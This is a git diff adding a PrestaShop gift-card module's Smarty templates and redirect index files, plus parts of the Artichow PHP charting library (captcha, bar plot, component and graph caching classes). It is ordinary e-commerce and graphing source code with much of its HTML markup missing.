        + + {if isset($image_template.image) && $image_template.image} + {$image_template.image} + {/if} +
        +
        + +
        + +
        + + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if}/> + + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + + + +
        +
        +{if isset($asso_shops)} +
        + +
        {$asso_shops}
        +
        +{/if} + {else} + + + + + + + + + + + + + + + + {if isset($asso_shops)} + + + + + {/if} + + + +
        + +
        +
        + {foreach from=$languages item=language} +
        + + * +
        + {/foreach} +
        +

        {l s='This will be displayed in template list.' mod='giftcard'}

        +
        +
        + +
        +
        + {foreach from=$languages item=language} +
        + {literal} + + {/literal} + + {l s='Forbidden characters:' mod='giftcard'} !<;>;?=+#"°{}_$%  +
        + {/foreach} +
        +

        {l s='Tags separated by commas (e.g. birthday, valentine, heart,organization,...)' mod='giftcard'}

        +
        +
        + +
        + +

        {l s='If you select a language, the model will be displayed only in this language' mod='giftcard'}

        +
        +
        + +
        + +

        {l s='Upload a image from your computer.' mod='giftcard'}

        + {if isset($image_template.image) && $image_template.image} +
        + {$image_template.image} +

        {l s='File size' mod='giftcard'} {$image_template.size}kb

        +
        +

        + {/if} +
        +
        + {l s='Choose shop association:' mod='giftcard'} + {$asso_shops}
        + +
        +    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +
        +
        +{/if} + \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/index.php b/modules/giftcard/views/templates/admin/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/admin/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/front/choicegiftcard.tpl b/modules/giftcard/views/templates/front/choicegiftcard.tpl new file mode 100755 index 0000000..a72c2d7 --- /dev/null +++ b/modules/giftcard/views/templates/front/choicegiftcard.tpl @@ -0,0 +1,246 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} +{* Variable used in js*} + + + +
        + {* visible when ajax call*} +
        + {capture name=path}{l s='Gift card' mod='giftcard'}{/capture} + {*** CONTENT HTML / SETTING MODULE ***} + {$front_content} + {*** END CONTENT HTML / SETTING MODULE ***} + + {if !isset($templates) || count($templates) == 0} +

        + {l s='No model available' mod='giftcard'} +

        + {elseif !isset($cards) || $cards|@count == 0} +

        + {l s='No card available' mod='giftcard'} +

        + {else} + {*** STEP 1 BLOCK SELECT TEMPLATE ***} +

        1. {l s='Select a template' mod='giftcard'}

        +
        + +
        + {******* TAB CONTENT ALL TEMPLATES ******} +
        + {if isset($templates) && count($templates) > 0} +
        +
        + +
        + + +

        +
        + {/if} +
        + {******* END TAB CONTENT ALL TEMPLATES ******} + {******* TAB CONTENT BY FILTER TAG ******} + {if isset($tags) && $tags && $tags|@count > 0} + {foreach from=$tags item=tag} +
        + {if isset($templatesGroupTag[$tag.id_gift_card_tag]) && $templatesGroupTag[$tag.id_gift_card_tag]|@count > 0} +
        +
        + +
        + + +

        +
        + {/if} +
        + {/foreach} + {/if} + {******* END TAB CONTENT BY FILTER TAG ******} +
        +
        + {*** END STEP 1 BLOCK SELECT TEMPLATE ***} +
        + {*** STEP 2 GIFT CARD INFORMATION ***} +

        2. {l s='Gift card information' mod='giftcard'}

        + {include file="$tpl_dir./errors.tpl"} +
        + + + + +

        {l s='Amount' mod='giftcard'}  + +

        +

        + +

        +

        + +

        + + +

        + +

        (200 {l s='remaining characters' mod='giftcard'})
        +

        + +
        +

        3. {l s='Select the reception mode' mod='giftcard'}

        +

        + + + + +

        + + + + +
        + {*** END STEP 2 GIFT CARD INFORMATION ***} + + {*** STEP 3 RECEPTION MODE ***} + + + {*** END STEP 3 RECEPTION MODE ***} +
        + {* is use for display ajax messages errors, sucess*} +
        + {*** BUTTON SUBMIT ***} +
        + + +
        +
        + {*** END BUTTON SUBMIT ***} +
        + {/if} +
        \ No newline at end of file diff --git a/modules/giftcard/views/templates/front/index.php b/modules/giftcard/views/templates/front/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/front/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/hook/admin_order.tpl b/modules/giftcard/views/templates/hook/admin_order.tpl new file mode 100755 index 0000000..6a67abe --- /dev/null +++ b/modules/giftcard/views/templates/hook/admin_order.tpl @@ -0,0 +1,240 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} + + +{if (isset($giftcardsorder) && $giftcardsorder && ($giftcardsorder|@count) > 0)} + +{if $ps_version >= '1.6'} +
        +

        + + {l s='Gift Card purchased' mod='giftcard'} +

        +{else} +
        +
        + {l s='Gift Card purchased' mod='giftcard'} +{/if} + {foreach from=$giftcardsorder item=giftcardorder} + {if !$currentState->logable && ($giftcardorder.status=='CREATED')} + {if isset($giftcardorder.used_order) && $giftcardorder.used_order>0} + {if $ps_version >= '1.6'} +
        +
          + {l s='The gift card %1$s with code %2$s is used but the order is cancel' mod='giftcard' sprintf=[$giftcardorder.cart_rule_name,$giftcardorder.discountcode]} +
        +
        + {else} +

        {l s='The gift card %1$s with code %2$s is used but the order is cancel' mod='giftcard' sprintf=[$giftcardorder.cart_rule_name,$giftcardorder.discountcode]}

        + {/if} + {else} + {if $ps_version >= '1.6'} +
        +
          + {l s='The gift card %1$s with code %2$s must be cancel because the order is cancel' mod='giftcard' sprintf=[$giftcardorder.cart_rule_name,$giftcardorder.discountcode]} +
        +
        + {else} +

        {l s='The gift card %1$s with code %2$s must be cancel because the order is cancel' mod='giftcard' sprintf=[$giftcardorder.cart_rule_name,$giftcardorder.discountcode]}

        + {/if} + {/if} + {/if} + {/foreach} +
        + + +
        +
        + + +
        + {foreach from=$errors item=error} + {if $ps_version >= '1.6'} +
        +
          + {$error} +
        +
        + {else} +

        {$error}

        + {/if} + {/foreach} + {foreach from=$infos item=info} + {if $ps_version >= '1.6'} +
        +
          + {$info} +
        +
        + {else} +

        {$info}

        + {/if} + {/foreach} + + + + + + + + + + + + + + + + + + + + {foreach from=$giftcardsorder item=giftcardorder} + + + + + + + + + {/foreach} + +
        {l s='Amount reduction' mod='giftcard'}{l s='Code' mod='giftcard'}{l s='Qty' mod='giftcard'}{l s='Active' mod='giftcard'}{l s='Status' mod='giftcard'}
        {displayPrice price=$giftcardorder.price currency=$giftcardorder.id_currency}{$giftcardorder.discountcode|escape}{$giftcardorder.voucher_qty|intval}{if isset($giftcardorder.voucher_active)} + {if $giftcardorder.voucher_active} + {l s='enabled' mod='giftcard'} + {else} + {l s='disabled' mod='giftcard'} + {/if} + {else}? + {/if} + {if $giftcardorder.status eq 'CREATED'} + {if isset($giftcardorder.used_order) && (int)$giftcardorder.used_order>0 } + + {l s='Used in order #%s' mod='giftcard' sprintf=$giftcardorder.used_order} + {l s='view' mod='giftcard'} + + {else} + {l s='Unused' mod='giftcard'} + {/if} + {else} + {if $giftcardorder.status eq 'WAIT'} + {l s='Waiting valid order' mod='giftcard'} + {elseif $giftcardorder.status eq 'CANCEL'} + {l s='Canceled' mod='giftcard'} + {elseif $giftcardorder.status eq 'ERROR'} + {l s='Error' mod='giftcard'} + {/if} + {/if} + + {if $giftcardorder.status eq 'CREATED'} + + {l s='View pdf' mod='giftcard'} +  {if !($ps_version >= '1.6')}
        {/if} + {/if} + {if isset($giftcardorder.used_order) && $giftcardorder.used_order>0} + {l s='Card used no action available' mod='giftcard'} + {else} + {if $giftcardorder.status eq 'CREATED' || $giftcardorder.status eq 'WAIT'} + + {if $ps_version >= '1.6'}{/if} + {l s='Cancel this gift card' mod='giftcard'} + {elseif $giftcardorder.status eq 'CANCEL' && $giftcardorder.voucher_qty > 0} + + {if $ps_version >= '1.6'}{/if} + {l s='Actived this gift card' mod='giftcard'} + + {/if} + {/if} +
        +{if $ps_version >= '1.6'} +
        +{else} + +{/if} +{/if} +{if (isset($purchaseorders) && $purchaseorders && ($purchaseorders|@count) > 0)} +{if $ps_version >= '1.6'} +
        +

        + + {l s='Gift card used' mod='giftcard'} +

        +{else} +
        +
        + {l s='Gift card used' mod='giftcard'} +{/if} + {foreach from=$purchaseorders item=purchaseorder} + {if !$purchaseorder.status_logable} + {if $ps_version >= '1.6'} +
        +
          + {l s='The customer used card %1$s with code %2$s but the purchase order #%3$s is canceled' mod='giftcard' sprintf=[$purchaseorder.cart_rule_name,$purchaseorder.discountcode,$purchaseorder.id_order]} +
        +
        + {else} +

        {l s='The customer used card %1$s with code %2$s but the purchase order #%3$s is canceled' mod='giftcard' sprintf=[$purchaseorder.cart_rule_name,$purchaseorder.discountcode,$purchaseorder.id_order]}

        + {/if} + {/if} + {/foreach} +

        {l s='The customer used a gift card in this order, you can see from the list, the purchase order associated with this gift card' mod='giftcard'}

        + + + + + + + + + + + + {foreach from=$purchaseorders item=purchaseorder} + + + + + + + {/foreach} + +
        {l s='Name' mod='giftcard'}{l s='Date order' mod='giftcard'}{l s='Id Order' mod='giftcard'}{l s='Order Status' mod='giftcard'}
        {$purchaseorder.cart_rule_name|escape}{dateFormat date=$purchaseorder.date_add full=1}# {$purchaseorder.id_order|intval} + {l s='view' mod='giftcard'}{$purchaseorder.status_name}
        +{if $ps_version >= '1.6'} +
        +{else} + +{/if} +{/if} \ No newline at end of file diff --git a/modules/giftcard/views/templates/hook/blockgiftcard.tpl b/modules/giftcard/views/templates/hook/blockgiftcard.tpl new file mode 100755 index 0000000..2076545 --- /dev/null +++ b/modules/giftcard/views/templates/hook/blockgiftcard.tpl @@ -0,0 +1,24 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} +
        +  

        {l s='Offer a gift card' mod='giftcard'}

        +     +
        \ No newline at end of file diff --git a/modules/giftcard/views/templates/hook/index.php b/modules/giftcard/views/templates/hook/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/hook/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/hook/payment.tpl b/modules/giftcard/views/templates/hook/payment.tpl new file mode 100755 index 0000000..e47c363 --- /dev/null +++ b/modules/giftcard/views/templates/hook/payment.tpl @@ -0,0 +1,30 @@ +

        + + {l s='Pay by gift card' mod='giftcard'} + +

        + \ No newline at end of file diff --git a/modules/giftcard/views/templates/index.php b/modules/giftcard/views/templates/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/graphartichow/artichow/AntiSpam.class.php b/modules/graphartichow/artichow/AntiSpam.class.php new file mode 100755 index 0000000..fea3cb2 --- /dev/null +++ b/modules/graphartichow/artichow/AntiSpam.class.php @@ -0,0 +1,224 @@ +string = (string)$string; + + } + + /** + * Create a random string + * + * @param int $length String length + * @return string String created + */ + public function setRand($length) { + + $length = (int)$length; + + $this->string = ''; + + $letters = 'aAbBCDeEFgGhHJKLmMnNpPqQRsStTuVwWXYZz2345679'; + $number = strlen($letters); + + for($i = 0; $i < $length; $i++) { + $this->string .= $letters{mt_rand(0, $number - 1)}; + } + + return $this->string; + + } + + /** + * Set noise on image + * + * @param int $nois Noise intensity (from 0 to 10) + */ + public function setNoise($noise) { + if($noise < 0) { + $noise = 0; + } + if($noise > 10) { + $noise = 10; + } + $this->noise = (int)$noise; + } + + /** + * Save string value in session + * You can use check() to verify the value later + * + * @param string $qName A name that identify the anti-spam image + */ + public function save($qName) { + $this->session(); + $session = 'artichow_'.(string)$qName; + $_SESSION[$session] = $this->string; + } + + /** + * Verify user entry + * + * @param string $qName A name that identify the anti-spam image + * @param string $value User-defined value + * @param bool $case TRUE for case insensitive check, FALSE for case sensitive check ? (default to TRUE) + * @return bool TRUE if the value is correct, FALSE otherwise + */ + public function check($qName, $value, $case = TRUE) { + + $this->session(); + + $session = 'artichow_'.(string)$qName; + + return ( + array_key_exists($session, $_SESSION) === TRUE and + $case ? + (strtolower($_SESSION[$session]) === strtolower((string)$value)) : + ($_SESSION[$session] === (string)$value) + ); + + } + + /** + * Draw image + */ + public function draw() { + + $fonts = array( + 'Tuffy', + 'TuffyBold', + 'TuffyItalic', + 'TuffyBoldItalic' + ); + + $sizes = array(12, 12.5, 13, 13.5, 14, 15, 16, 17, 18, 19); + + $widths = array(); + $heights = array(); + $texts = array(); + + // Set up a temporary driver to allow font size calculations... + $this->setSize(10, 10); + $driver = $this->getDriver(); + + for($i = 0; $i < strlen($this->string); $i++) { + + $fontKey = array_rand($fonts); + $sizeKey = array_rand($sizes); + + $font = new awTTFFont( + $fonts[$fontKey], $sizes[$sizeKey] + ); + + $text = new awText( + $this->string{$i}, + $font, + NULL, + mt_rand(-15, 15) + ); + + $widths[] = $driver->getTextWidth($text); + $heights[] = $driver->getTextHeight($text); + $texts[] = $text; + + } + + // ... and get rid of it. + $this->driver = NULL; + + $width = array_sum($widths); + $height = array_max($heights); + + $totalWidth = $width + 10 + count($texts) * 10; + $totalHeight = $height + 20; + + $this->setSize($totalWidth, $totalHeight); + + $this->create(); + + for($i = 0; $i < strlen($this->string); $i++) { + + $this->driver->string( + $texts[$i], + new awPoint( + 5 + array_sum(array_slice($widths, 0, $i)) + $widths[$i] / 2 + $i * 10, + 10 + ($height - $heights[$i]) / 2 + ) + ); + + } + + $this->drawNoise($totalWidth, $totalHeight); + + $this->send(); + + } + + protected function drawNoise($width, $height) { + + $points = $this->noise * 30; + $color = new awColor(0, 0, 0); + + for($i = 0; $i < $points; $i++) { + $this->driver->point( + $color, + new awPoint( + mt_rand(0, $width), + mt_rand(0, $height) + ) + ); + } + + } + + protected function session() { + + // Start session if needed + if(!session_id()) { + session_start(); + } + + } + +} + +registerClass('AntiSpam'); + diff --git a/modules/graphartichow/artichow/Artichow.cfg.php b/modules/graphartichow/artichow/Artichow.cfg.php new file mode 100755 index 0000000..3b9f715 --- /dev/null +++ b/modules/graphartichow/artichow/Artichow.cfg.php @@ -0,0 +1,84 @@ +label = new awLabel; + + $this->barPadding = new awSide(0.08, 0.08, 0, 0); + $this->barShadow = new awShadow(awShadow::RIGHT_TOP); + $this->barBorder = new awBorder; + + $this->setValues($values); + + $this->identifier = (int)$identifier; + $this->number = (int)$number; + $this->depth = (int)$depth; + + $this->move = new awSide; + + // Hide vertical grid + $this->grid->hideVertical(TRUE); + + } + + /** + * Change bars padding + * This method is not compatible with awBarPlot::setBarPadding() + * + * @param float $left Left padding (between 0 and 1) + * @param float $right Right padding (between 0 and 1) + */ + public function setBarPadding($left = NULL, $right = NULL) { + $this->barPadding->set($left, $right); + } + + /** + * Change bars size + * This method is not compatible with awBarPlot::setBarPadding() + * + * @param int $width Bars size (between 0 and 1) + */ + public function setBarSize($size) { + $padding = (1 - $size) / 2; + $this->barPadding->set($padding, $padding); + } + + /** + * Move bars + * + * @param int $x + * @param int $y + */ + public function move($x, $y) { + $this->move->set($x, NULL, $y, NULL); + } + + /** + * Change bars space + * + * @param int $space Space in pixels + */ + public function setBarSpace($space) { + $this->barSpace = (int)$space; + } + + /** + * Change line background color + * + * @param awColor $color + */ + public function setBarColor(awColor $color) { + $this->barBackground = $color; + } + + /** + * Change line background gradient + * + * @param awGradient $gradient + */ + public function setBarGradient(awGradient $gradient) { + $this->barBackground = $gradient; + } + + /** + * Get the line thickness + * + * @return int + */ + public function getLegendLineThickness() { + } + + /** + * Get the line type + * + * @return int + */ + public function getLegendLineStyle() { + } + + /** + * Get the color of line + * + * @return Color + */ + public function getLegendLineColor() { + } + + /** + * Get the background color or gradient of an element of the component + * + * @return Color, Gradient + */ + public function getLegendBackground() { + return $this->barBackground; + } + + /** + * Get a mark object + * + * @return Mark + */ + public function getLegendMark() { + } + + public function drawComponent(awDriver $driver, $x1, $y1, $x2, $y2, $aliasing) { + + $count = count($this->datay); + $max = $this->getRealYMax(NULL); + $min = $this->getRealYMin(NULL); + + // Find zero for bars + if($this->xAxisZero and $min <= 0 and $max >= 0) { + $zero = 0; + } else if($max < 0) { + $zero = $max; + } else { + $zero = $min; + } + + // Get base position + $zero = awAxis::toPosition($this->xAxis, $this->yAxis, new awPoint(0, $zero)); + + // Distance between two values on the graph + $distance = $this->xAxis->getDistance(0, 1); + + // Compute paddings + $leftPadding = $this->barPadding->left * $distance; + $rightPadding = $this->barPadding->right * $distance; + + $padding = $leftPadding + $rightPadding; + $space = $this->barSpace * ($this->number - 1); + + $barSize = ($distance - $padding - $space) / $this->number; + $barPosition = $leftPadding + $barSize * ($this->identifier - 1); + + for($key = 0; $key < $count; $key++) { + + $value = $this->datay[$key]; + + if($value !== NULL) { + + $position = awAxis::toPosition( + $this->xAxis, + $this->yAxis, + new awPoint($key, $value) + ); + + $barStart = $barPosition + ($this->identifier - 1) * $this->barSpace + $position->x; + $barStop = $barStart + $barSize; + + $t1 = min($zero->y, $position->y); + $t2 = max($zero->y, $position->y); + + if(round($t2 - $t1) == 0) { + continue; + } + + $p1 = new awPoint( + round($barStart) + $this->depth + $this->move->left, + round($t1) - $this->depth + $this->move->top + ); + + $p2 = new awPoint( + round($barStop) + $this->depth + $this->move->left, + round($t2) - $this->depth + $this->move->top + ); + + $this->drawBar($driver, $p1, $p2); + + } + + } + + // Draw labels + foreach($this->datay as $key => $value) { + + if($value !== NULL) { + + $position = awAxis::toPosition( + $this->xAxis, + $this->yAxis, + new awPoint($key, $value) + ); + + $point = new awPoint( + $barPosition + ($this->identifier - 1) * $this->barSpace + $position->x + $barSize / 2 + 1 + $this->depth, + $position->y - $this->depth + ); + + $this->label->draw($driver, $point, $key); + + } + + } + + } + + public function getXAxisNumber() { + return count($this->datay) + 1; + } + // ça bidouille à fond ici ! + public function getXMax() { + return array_max($this->datax) + 1; + } + + public function getXCenter() { + return TRUE; + } + + protected function drawBar(awDriver $driver, awPoint $p1, awPoint $p2) { + + // Draw shadow + $this->barShadow->draw( + $driver, + $p1, + $p2, + awShadow::OUT + ); + + if(abs($p2->y - $p1->y) > 1) { + + $this->barBorder->rectangle( + $driver, + $p1, + $p2 + ); + + if($this->barBackground !== NULL) { + + $size = $this->barBorder->visible() ? 1 : 0; + + $b1 = $p1->move($size, $size); + $b2 = $p2->move(-1 * $size, -1 * $size); + + // Draw background + $driver->filledRectangle( + $this->barBackground, + new awLine($b1, $b2) + ); + + } + + } + } + +} + +registerClass('BarPlot'); + diff --git a/modules/graphartichow/artichow/Component.class.php b/modules/graphartichow/artichow/Component.class.php new file mode 100755 index 0000000..2a683d6 --- /dev/null +++ b/modules/graphartichow/artichow/Component.class.php @@ -0,0 +1,415 @@ +components = array(); + } + + /** + * Add a component to the group + * + * @param awComponent $component A component + */ + public function add(awComponent $component) { + $this->components[] = $component; + } + +} + +registerClass('ComponentGroup', TRUE); + +abstract class awComponent { + + /** + * Component driver + * + * @var Driver + */ + protected $driver; + + /** + * Component width + * + * @var float + */ + public $width = 1.0; + + /** + * Component height + * + * @var float + */ + public $height = 1.0; + + /** + * Position X of the center the graph (from 0 to 1) + * + * @var float + */ + public $x = 0.5; + + /** + * Position Y of the center the graph (from 0 to 1) + * + * @var float + */ + public $y = 0.5; + + /** + * Component absolute width (in pixels) + * + * + * @var int + */ + public $w; + + /** + * Component absolute height (in pixels) + * + * + * @var int + */ + public $h; + + /** + * Left-top corner Y position + * + * @var float + */ + public $top; + + /** + * Left-top corner X position + * + * @var float + */ + public $left; + + /** + * Component background color + * + * @var Color + */ + protected $background; + + /** + * Component padding + * + * @var Side + */ + protected $padding; + + /** + * Component space + * + * @var Side + */ + protected $space; + + /** + * Component title + * + * @var Label + */ + public $title; + + /** + * Adjust automatically the component ? + * + * @var bool + */ + protected $auto = TRUE; + + /** + * Legend + * + * @var Legend + */ + public $legend; + + /** + * Build the component + */ + public function __construct() { + + // Component legend + $this->legend = new awLegend(); + + $this->padding = new awSide(25, 25, 25, 25); + $this->space = new awSide(0, 0, 0, 0); + + // Component title + $this->title = new awLabel( + NULL, + new awTuffy(10), + NULL, + 0 + ); + $this->title->setAlign(awLabel::CENTER, awLabel::TOP); + + } + + /** + * Adjust automatically the component ? + * + * @param bool $auto + */ + public function auto($auto) { + $this->auto = (bool)$auto; + } + + /** + * Change the size of the component + * + * @param int $width Component width (from 0 to 1) + * @param int $height Component height (from 0 to 1) + */ + public function setSize($width, $height) { + + $this->width = (float)$width; + $this->height = (float)$height; + + } + + /** + * Change the absolute size of the component + * + * @param int $w Component width (in pixels) + * @param int $h Component height (in pixels) + */ + public function setAbsSize($w, $h) { + + $this->w = (int)$w; + $this->h = (int)$h; + + } + + /** + * Change component background color + * + * @param awColor $color (can be null) + */ + public function setBackgroundColor($color) { + if($color === NULL or $color instanceof awColor) { + $this->background = $color; + } + } + + /** + * Change component background gradient + * + * @param awGradient $gradient (can be null) + */ + public function setBackgroundGradient($gradient) { + if($gradient === NULL or $gradient instanceof awGradient) { + $this->background = $gradient; + } + } + + /** + * Change component background image + * + * @param awImage $image (can be null) + */ + public function setBackgroundImage($image) { + if($image === NULL or $image instanceof awImage) { + $this->background = $image; + } + } + + /** + * Return the component background + * + * @return Color, Gradient + */ + public function getBackground() { + return $this->background; + } + + /** + * Change component padding + * + * @param int $left Padding in pixels (NULL to keep old value) + * @param int $right Padding in pixels (NULL to keep old value) + * @param int $top Padding in pixels (NULL to keep old value) + * @param int $bottom Padding in pixels (NULL to keep old value) + */ + public function setPadding($left = NULL, $right = NULL, $top = NULL, $bottom = NULL) { + $this->padding->set($left, $right, $top, $bottom); + } + + /** + * Change component space + * + * @param float $left Space in % (NULL to keep old value) + * @param float $right Space in % (NULL to keep old value) + * @param float $bottom Space in % (NULL to keep old value) + * @param float $top Space in % (NULL to keep old value) + */ + public function setSpace($left = NULL, $right = NULL, $bottom = NULL, $top = NULL) { + $this->space->set($left, $right, $bottom, $top); + } + + /** + * Change the absolute position of the component on the graph + * + * @var int $x Left-top corner X position + * @var int $y Left-top corner Y position + */ + public function setAbsPosition($left, $top) { + + $this->left = (int)$left; + $this->top = (int)$top; + + } + + /** + * Set the center of the component + * + * @param int $x Position X of the center of the component + * @param int $y Position Y of the center of the component + */ + public function setCenter($x, $y) { + + $this->x = (float)$x; + $this->y = (float)$y; + + } + + /** + * Get component coords with its padding + * + * @return array Coords of the component + */ + public function getPosition() { + + // Get component coords + $x1 = $this->padding->left; + $y1 = $this->padding->top; + $x2 = $this->w - $this->padding->right; + $y2 = $this->h - $this->padding->bottom; + + return array($x1, $y1, $x2, $y2); + + } + + /** + * Init the drawing of the component + */ + public function init(awDriver $driver) { + + // Set component background + $background = $this->getBackground(); + + if($background !== NULL) { + + $p1 = new awPoint(0, 0); + $p2 = new awPoint($this->w - 1, $this->h - 1); + + if($background instanceof awImage) { + + $driver->copyImage( + $background, + $p1, + $p2 + ); + + } else { + + $driver->filledRectangle( + $background, + new awLine($p1, $p2) + ); + + } + + } + } + + /** + * Finalize the drawing of the component + */ + public function finalize(awDriver $driver) { + + // Draw component title + $point = new awPoint( + $this->w / 2, + $this->padding->top - 8 + ); + $this->title->draw($driver, $point); + + // Draw legend + $this->legend->draw($driver); + + } + + /** + * Draw the grid around your component + * + * @param Driver A driver + * @return array Coords for the component + */ + abstract public function drawEnvelope(awDriver $driver); + + /** + * Draw the component on the graph + * Component should be drawed into specified coords + * + * @param Driver A driver + * @param int $x1 + * @param int $y1 + * @param int $x2 + * @param int $y2 + * @param bool $aliasing Use anti-aliasing to draw the component ? + */ + abstract public function drawComponent(awDriver $driver, $x1, $y1, $x2, $y2, $aliasing); + + /** + * Get space width in pixels + * + * @param int $width Component width + * @param int $height Component height + * @return array + */ + protected function getSpace($width, $height) { + + $left = (int)($width * $this->space->left / 100); + $right = (int)($width * $this->space->right / 100); + $top = (int)($height * $this->space->top / 100); + $bottom = (int)($height * $this->space->bottom / 100); + + return array($left, $right, $top, $bottom); + + } + +} + +registerClass('Component', TRUE); + diff --git a/modules/graphartichow/artichow/Graph.class.php b/modules/graphartichow/artichow/Graph.class.php new file mode 100755 index 0000000..bf018a5 --- /dev/null +++ b/modules/graphartichow/artichow/Graph.class.php @@ -0,0 +1,412 @@ +setSize($width, $height); + + if(ARTICHOW_CACHE) { + + $this->name = $name; + $this->timeout = $timeout; + + // Clean sometimes all the cache + if(mt_rand(0, 5000) === 0) { + awGraph::cleanCache(); + } + + // Take the graph from the cache if possible + if($this->name !== NULL) { + + $this->fileCache = ARTICHOW_CACHE_DIRECTORY."/".$this->name; + $this->fileCacheTime = $this->fileCache."-time"; + + if(is_file($this->fileCache)) { + + $type = awGraph::cleanGraphCache($this->fileCacheTime); + + if($type === NULL) { + awGraph::deleteFromCache($this->name); + } else { + header("Content-Type: image/".$type); + echo file_get_contents($this->fileCache); + exit; + } + + } + + } + + } + + $this->title = new awLabel( + NULL, + new awTuffy(16), + NULL, + 0 + ); + $this->title->setAlign(awLabel::CENTER, awLabel::BOTTOM); + + } + + /** + * Delete a graph from the cache + * + * @param string $name Graph name + * @return bool TRUE on success, FALSE on failure + */ + public static function deleteFromCache($name) { + + if(ARTICHOW_CACHE) { + + if(is_file(ARTICHOW_CACHE_DIRECTORY."/".$name."-time")) { + unlink(ARTICHOW_CACHE_DIRECTORY."/".$name.""); + unlink(ARTICHOW_CACHE_DIRECTORY."/".$name."-time"); + } + + } + + } + + /** + * Delete all graphs from the cache + */ + public static function deleteAllCache() { + + if(ARTICHOW_CACHE) { + + $dp = opendir(ARTICHOW_CACHE_DIRECTORY); + + while($file = readdir($dp)) { + if($file !== '.' and $file != '..') { + unlink(ARTICHOW_CACHE_DIRECTORY."/".$file); + } + } + + } + + } + + /** + * Clean cache + */ + public static function cleanCache() { + + if(ARTICHOW_CACHE) { + + $glob = glob(ARTICHOW_CACHE_DIRECTORY."/*-time"); + + foreach($glob as $file) { + + $type = awGraph::cleanGraphCache($file); + + if($type === NULL) { + $name = preg_replace('!.*/(.*)\-time!', "\\1", $file); + awGraph::deleteFromCache($name); + } + + } + + } + + } + + /** + * Enable/Disable Graph timing + * + * @param bool $timing + */ + public function setTiming($timing) { + $this->timing = (bool)$timing; + } + + /** + * Add a component to the graph + * + * @param awComponent $component + */ + public function add(awComponent $component) { + + $this->components[] = $component; + + } + + /** + * Add a label to the component + * + * @param awLabel $label + * @param int $x Position on X axis of the center of the text + * @param int $y Position on Y axis of the center of the text + */ + public function addLabel(awLabel $label, $x, $y) { + + $this->labels[] = array( + $label, $x, $y + ); + + } + + /** + * Add a label to the component with absolute position + * + * @param awLabel $label + * @param awPoint $point Text position + */ + public function addAbsLabel(awLabel $label, awPoint $point) { + + $this->labels[] = array( + $label, $point + ); + + } + + /** + * Build the graph and draw component on it + * + * @param string $mode Display mode (can be a file name) + */ + public function draw($mode = Graph::DRAW_DISPLAY) { + + if($this->timing) { + $time = microtimeFloat(); + } + + $this->create(); + + foreach($this->components as $component) { + + $this->drawComponent($component); + + } + + $this->drawTitle(); + $this->drawShadow(); + 